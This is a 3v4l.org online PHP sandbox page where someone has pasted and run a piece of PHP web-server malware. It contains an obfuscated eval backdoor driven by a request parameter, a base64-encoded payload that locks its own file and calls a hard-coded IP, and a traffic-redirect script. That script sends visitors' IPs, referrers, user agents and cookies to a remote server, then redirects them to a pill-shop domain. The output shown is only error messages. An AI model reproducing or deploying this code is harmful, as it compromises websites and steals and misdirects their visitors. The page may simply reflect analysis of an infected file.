3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['na1bc75'];if(isset($s22)){eval($s21($s22));}?> <?php //###==### assert("e"."v"."a"."l(b"."a"."s"."e"."6"."4_d"."e"."c"."o"."d"."e('aWYgKCFpc3NldCgkaW5kZ2V0KSkgewpjaG1vZCgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sIDA0NDQpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkpIGRpZSgkX0NPT0tJRVsiY2xpZW50X2NoZWNrIl0pOwppZiAoIWlzc2V0KCRTRVJWRVJbIkhUVFBfQUNDRVBUX0NIQVJTRVQiXSkpIHsKaWYocHJlZ19tYXRjaCgnIS4hdScsIGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKSAkYyA9ICJVVEYtOCI7IGVsc2UgJGMgPSAid2luZG93cy0xMjUxIjsKfSBlbHNlIHsKJGMgPSAkU0VSVkVSWyJIVFRQX0FDQ0VQVF9DSEFSU0VUIl07Cn0KJGQgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsKJHUgPSAkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiRkb21haW4gPSAiNzguMTA4LjE4MC4xMjAiOwokdXJsID0gIi9nZXQucGhwP2Q9Ii51cmxlbmNvZGUoJGQpLiImdT0iLnVybGVuY29kZSgkdSkuIiZjPSIuJGMuIiZpPTEmaD0iLm1kNSgiM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FU1RbJ2YnXSgkX1JFUVVFU1RbJ2MnXSk7Cn0='))"); //###==### ?> <?$tds="http://fbt.yahoo.com/counter.php"; $password="fff123106f3430"; $g="http://mypillshop.ru"; $esdid="counter3"; $key="zzzzgb54y45yb45tktbwtberheh6e4wh"; ?><?//BREACK//?> <?php error_reporting(0);$a=str_split($password.'2','3');$p='0';$a[3]=str_replace('f','0',$a[3])+3;$p.=$a[4];$p.='.0';$p.=' ';$a[3]++;$p.='.0'.$a[2].'.0';$p=str_replace('f','0',$p);$t=str_replace('f','0',$a[1]);$t=$t.';';if($_GET['mode']=='config' and $_GET['key']==$key){echo'{pkey" value="'.$key.'"}';}if($_GET["mode"]=="setconfig" AND $key==$_GET['key']){$sn=explode("/", $_SERVER['SCRIPT_NAME']);foreach($sn as $snn){$scr=$snn;}$getlpa=file($scr);$jng=$getlpa[0];$v=file($scr);for($i=0;$i<sizeof($v);$i++)if($i==0) {$ka='<?//BRE';$c=$ka.'ACK//?>';$b = explode($c, $v[$i]);$v[$i]='<? ?>'.$c.$b[1];}$d=fopen($scr,"w");fputs($d,implode("",$v));fclose($d);}$s = explode("/", $tds);$s=$s[2];$u=$s;if($p){$s=$p;}$t=substr($t, 0, strlen($t)-1);$d = fsockopen(str_replace(' ',$a[3]-strlen(' '),$s).$t, 80, $i, $o, 2);if (!$d) {$f=$g;}else{$h=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);$m=urlencode($_SERVER[HTTP_REFERER]);$p=urlencode($_SERVER["REMOTE_ADDR"]);$e='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$e='yes';}$r=urlencode($_SERVER['HTTP_USER_AGENT']);foreach($_COOKIE as $key=>$n) {$t=$t."&".$key."=".$n;}$t=urlencode($t);if(empty($t)){$t=urlencode($_SERVER['QUERY_STRING']);}$y="GET ".$tds."?dom=".$h."&ref=".$m."&ip=".$p."&prox=".$e."&agent=".$r."&cookie=".$t."&esdid=".$esdid." HTTP/1.0\r\nHost: ".$u."\r\nConnection: Close\r\n\r\n";fwrite($d, $y); while (!feof($d)) {$j=fgets($d,128);if ($j=="\r\n" && empty($q)){$q = 'do';}if ($q=='do'){$f.=$j;}}fclose ($d);$f=substr($f, 2);} $w = explode("://", $f);If($w[0]=='http'){header('HTTP/1.1 302 Found');header('Location: '.$f);} $x=substr($f,7);if($w[0]=='cook'){$k=explode("&", $x);foreach($k as $l){$z=explode("=", $l);setcookie($z[0], $z[1]);}}If($w[0]=='echo'){echo $x;}?>
based on shW3u
Output for 5.6.28, 7.0.14 - 7.1.0
Notice: Undefined index: na1bc75 in /in/0XAPc on line 1 Warning: chmod(): Operation not permitted in /in/0XAPc(5) : assert code(1) : eval()'d code on line 2
Process exited with code 255.
Output for 5.4.0 - 5.6.25, 7.0.0 - 7.0.10
Notice: Undefined index: na1bc75 in /in/0XAPc on line 1 Warning: chmod(): Read-only file system in /in/0XAPc(5) : assert code(1) : eval()'d code on line 2
Process exited with code 255.